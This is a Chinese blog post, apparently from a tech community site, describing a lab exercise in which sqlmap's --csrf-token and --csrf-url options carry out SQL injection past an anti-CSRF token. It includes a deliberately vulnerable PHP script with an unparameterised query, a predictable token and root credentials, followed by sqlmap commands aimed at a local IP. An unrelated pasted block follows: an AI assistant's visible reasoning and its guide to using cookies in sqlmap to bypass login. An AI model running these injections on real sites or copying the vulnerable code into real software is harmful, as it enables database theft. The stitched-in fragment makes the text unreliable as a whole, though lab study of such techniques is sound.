sqlmap绕过CSRF检测进行注入

本文介绍了如何使用sqlmap绕过CSRF保护进行SQL注入攻击。通过创建一个包含anti-CSRF token的PHP脚本,展示了sqlmap的--csrf-token和--csrf-url参数如何帮助识别并利用漏洞。实验表明,即使在存在CSRF防御的情况下,sqlmap仍能自动更新token并检测到注入点。

最近在准备比赛,打sqlilabs时看了一下sqlmap的wiki,发现了–csrf-token和–csrf-url的参数,于是写了个php版本的bug试了一试。 同时也了解了一下大家对csrf注入的普遍做法:sqlmap+burp正则匹配,两相比较,还是sqlmap自带的功能比较方便。


写一个bug

CSRF的普遍防御方法是增加anti-csrf token,也就是一串不可预测的字符串。于是动手写了一个php版本防csrf的sqli脚本,这里写的并不规范,时间戳是可以被预测的,而且此脚本可以被绕过token检测,有兴趣可以琢磨一下。

 
 

<?php session_start(); //生成随机token $token = md5(time()); //获取name参数 $name = isset($_GET['name']) ? $_GET['name']: ''; //校验token if ($_GET['token'] == $_SESSION['token']) { //执行sql语句 $mysqli = new mysqli("127.0.0.1","root","root"); $mysqli->select_db("test"); if (!$mysqli->connect_error) { $query = "select * from admin where username = '$name'"; $result = $mysqli->query($query); if (!$mysqli->error) { while ($row = $result->fetch_row()) { echo $row; } } else { echo $mysqli->error; } } else { echo $mysqli->connect_error; } $mysqli->close(); } else { echo "no token"; } //以hidden表单元素的形式输出token echo "<input type=\"hidden\" name=\"token\" value=\"$token\">"; //刷新SESSION中token $_SESSION['token'] = $token; ?>

 

漏洞利用

sqlmap 中有这样两个参数

  • –csrf-token=”token_name”,指定随机化token的参数名

  • –csrf-url=”http://x.x.x.x/page”,指定获取token值的地址

如果没有指定–csrf-url,则默认从当前页面获取token。先来看看不指定token时,sqlmap的输出:

 
 

sqlmap -u "http://192.168.154.134/tokensql.php?name=admin&token=123" --flush-session

sqlmap根据关键字,识别出了token参数,但是默认不获取token,没有发现注入点。

再来看看指定token时的输出:

 
 

sqlmap -u "http://192.168.154.134/tokensql.php?name=admin&token=123" --flush-session --csrf-token="token"

确认了注入的存在,并且在wireshark中观察到token被sqlmap自动更新

在这个demo中,获取token的页面和注入点相同,在真实场景中,可能需要单独获取token值,这时要用到–csrf-url=<url>的参数。

所以使用以下命令,效果也是一样的:

 
 

sqlmap -u "http://192.168.154.134/tokensql.php?name=admin&token=123" --flush-session --csrf-token="token" --csrf-url="http://192.168.154.134/tokensql.php"

<think>好的,我现在需要帮用户解决如何使用sqlmap通过添加cookie绕过登录验证的问题。首先,我得回忆一下sqlmap的基本用法和相关参数。用户提到了引用中的几个例子,特别是引用[1]提到sqlmap使用Tamper脚本绕过WAF,引用[4]提到设置host头和随机agent,还有level参数。 用户的问题是使用cookie绕过登录认证。通常,网站登录后会生成一个cookie,服务器通过验证这个cookie来判断用户是否已登录。所以,如果sqlmap能带上有效的cookie,就可以在未登录的情况下进行注入测试,绕过登录页面。 首先,我需要确定sqlmap中如何添加cookie。常见的参数是--cookie,后面跟具体的cookie值。例如,在引用[4]中的例子用了--data和--random-agent,但没有直接提到cookie。不过根据sqlmap文档,使用--cookie "COOKIE_VALUE"应该可行。 然后,需要确保用户提供的cookie是正确的,并且有足够的权限访问需要注入的页面。可能还需要结合其他参数,比如--level,因为根据引用[4],level参数会影响sqlmap检测的强度,特别是当level设置为3时会检测User-Agent和Host头。因此,可能需要调整level值以确保cookie被正确发送。 接下来,考虑用户可能需要具体的示例。比如,用户想测试一个URL,假设是http://example.com/vuln.php?id=1,而登录后的cookie是PHPSESSID=abc123。那么命令应该是sqlmap -u "http://example.com/vuln.php?id=1" --cookie="PHPSESSID=abc123" --dbs。这里--dbs是获取数据库列表,用户可以根据需要替换其他参数,比如-D指定数据库,-T指定表,如引用[2]中的例子。 另外,可能需要处理cookie中的特殊字符,比如分号或空格,这时候需要将整个cookie用双引号括起来。同时,如果网站有CSRF保护或其他安全机制,可能需要使用Tamper脚本,如引用[1]提到的,或者结合--random-agent(如引用[4])来绕过检测。 还需要提醒用户注意cookie的有效性,确保在测试期间cookie没有过期。此外,使用--proxy参数配合Burp Suite等工具查看请求,确认cookie是否被正确注入,这可能帮助调试。 最后,总结步骤:使用--cookie参数添加cookie,可能需要调整level,必要时使用其他参数如--proxy或Tamper脚本。同时,给出具体示例,并提示常见问题,比如cookie格式和有效性检查。</think>以下是如何在sqlmap中使用cookie绕过登录认证的详细说明: ### 一、核心参数说明 1. `--cookie`参数:直接添加浏览器获取的cookie值,格式为`"name1=value1; name2=value2"` 2. `--cookie-del`参数:指定cookie分隔符(默认是`;`) 3. `--load-cookies`参数:从Netscape格式文件加载cookie 4. `--level`参数:建议设置为3或更高,确保检测所有HTTP头[^4] ### 二、具体操作步骤 #### 方法1:直接附加cookie ```bash sqlmap -u "http://vuln-site.com/product?id=1" --cookie="PHPSESSID=abcd1234; security=high" --dbs ``` * 通过浏览器开发者工具(F12)获取登录后的有效cookie * 需要保持cookie在有效期内 #### 方法2:配合POST请求 ```bash sqlmap -u "http://vuln-site.com/login" --data="username=admin&password=123" --cookie="JSESSIONID=xyz987" --level=3 ``` #### 方法3:使用代理验证 ```bash sqlmap -u "http://vuln-site.com/profile" --cookie="auth_token=abcdef" --proxy="http://127.0.0.1:8080" ``` * 通过Burp Suite等工具验证请求是否携带正确cookie ### 三、典型应用场景 1. 需要登录后才能访问的注入点 2. 基于cookie的会话管理系统 3. 具有CSRF防护的网站(需配合Tamper脚本)[^1] ### 四、注意事项 1. 使用`--batch`参数可跳过交互确认 2. 特殊字符需URL编码:`--cookie "name=value%20with%20space"` 3. 持久化存储cookie: ```bash sqlmap -u [URL] --cookie-file=/path/to/cookies.txt ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值